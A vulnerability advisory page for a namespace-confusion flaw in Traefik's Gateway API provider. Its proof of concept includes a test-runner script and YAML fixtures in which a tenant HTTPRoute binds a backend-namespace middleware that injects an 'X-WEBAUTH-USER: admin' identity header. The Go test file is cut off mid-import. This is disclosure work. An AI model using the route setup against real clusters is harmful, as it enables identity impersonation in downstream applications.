Go · Traefik
Traefik Gateway API HTTPRoute BackendRef ExtensionRef Namespace Confusion
There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.
If you have any questions or comments about this advisory, please open an issue.
Traefik's Kubernetes Gateway API provider resolves
HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend
Service namespace instead of the HTTPRoute namespace. A low-privileged route
author with a permitted cross-namespace Service reference can therefore bind a
Traefik Middleware from the backend namespace without a separate grant for
that middleware. If the reused middleware sets trusted reverse-proxy identity
headers, downstream applications can receive attacker-selected authenticated
identity state.
Gateway API ReferenceGrant allows a namespace owner to grant a route in
another namespace permission to reference a specific backend object, such as a
Service. That grant should not implicitly authorize the route author to bind
other policy objects in the backend namespace.
In the affected code path, Traefik copies backendRef.namespace into a local
namespace variable. It correctly uses that namespace to validate and load the
backend Service, but then reuses the same namespace when resolving
backendRef.filters[].extensionRef. For Traefik CRD Middleware extension
filters, the CRD provider turns (namespace, name) into a dynamic middleware
reference such as:
platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in tenant-a can bind a middleware named
privileged-auth-header from the backend namespace platform, even though the
Gateway API ReferenceGrant only granted access to platform/protected-api
Service.
The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to
attach a backend-namespace Headers middleware to the generated backend
service. The middleware injects:
X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.
This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.
#!/usr/bin/env sh
set -eu
TARGET_REF="${TARGET_REF:-v3.7.5}"
REPO_URL="${REPO_URL:-https://github.com/traefik/traefik.git}"
SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"
WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"
if [ "${KEEP_WORKDIR:-0}" != "1" ]; then
trap 'rm -rf "$WORKDIR"' EXIT INT TERM
fi
printf '[*] target_ref=%s\n' "$TARGET_REF"
printf '[*] workdir=%s\n' "$WORKDIR"
if [ -n "${TRAEFIK_SRC:-}" ]; then
printf '[*] cloning from local source: %s\n' "$TRAEFIK_SRC"
git clone -q "$TRAEFIK_SRC" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
git -c advice.detachedHead=false checkout -q "$TARGET_REF"
else
printf '[*] cloning from remote: %s\n' "$REPO_URL"
git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGET_REF" "$REPO_URL" "$WORKDIR/traefik"
cd "$WORKDIR/traefik"
fi
mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute
cp "$SCRIPT_DIR/poc_gateway_extensionref_test.go" \
pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
cp "$SCRIPT_DIR/backendref_extension_filter_cross_namespace_poc.yml" \
pkg/provider/kubernetes/gateway/fixtures/httproute/backendref_extension_filter_cross_namespace_poc.yml
if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (*dynamic.Configuration, *statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then
sed -i \
-e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, _, err := p.loadConfigurationFromGateways(t.Context())/' \
-e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \
pkg/provider/kubernetes/gateway/httproute_backend_filter_namespace_poc_test.go
fi
printf '[*] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n'
go test ./pkg/provider/kubernetes/gateway \
-run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \
-count=1 -v
printf 'POC_RESULT=PASS\n'
---
apiVersion: v1
kind: Service
metadata:
name: protected-api
namespace: platform
spec:
ports:
- name: web
protocol: TCP
port: 80
targetPort: web
---
kind: EndpointSlice
apiVersion: discovery.k8s.io/v1
metadata:
name: protected-api-abc
namespace: platform
labels:
kubernetes.io/service-name: protected-api
addressType: IPv4
ports:
- name: web
port: 8080
endpoints:
- addresses:
- 10.10.20.10
conditions:
ready: true
---
kind: GatewayClass
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: shared-gateway-class
spec:
controllerName: traefik.io/gateway-controller
---
kind: Gateway
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: shared-gateway
namespace: infra
spec:
gatewayClassName: shared-gateway-class
listeners:
- name: http
protocol: HTTP
port: 80
allowedRoutes:
kinds:
- kind: HTTPRoute
group: gateway.networking.k8s.io
namespaces:
from: All
---
kind: ReferenceGrant
apiVersion: gateway.networking.k8s.io/v1beta1
metadata:
name: allow-tenant-route-to-service
namespace: platform
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: tenant-a
to:
- group: ""
kind: Service
name: protected-api
---
kind: HTTPRoute
apiVersion: gateway.networking.k8s.io/v1
metadata:
name: tenant-route
namespace: tenant-a
spec:
parentRefs:
- name: shared-gateway
namespace: infra
kind: Gateway
group: gateway.networking.k8s.io
hostnames:
- attacker.example
rules:
- matches:
- path:
type: PathPrefix
value: /
backendRefs:
- name: protected-api
namespace: platform
port: 80
kind: Service
group: ""
filters:
- type: ExtensionRef
extensionRef:
group: traefik.io
kind: Middleware
name: privileged-auth-header
package gateway
import (
"net/http"
"net/http/httptest"
"testing"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/require"
"github.com/traefik/traefik/v3/pkg/config/dynamic"
"github.com/traefik/traefik/v3/pkg/middlewares/headers"
traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1"
kubefake "k8s.io/cl
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.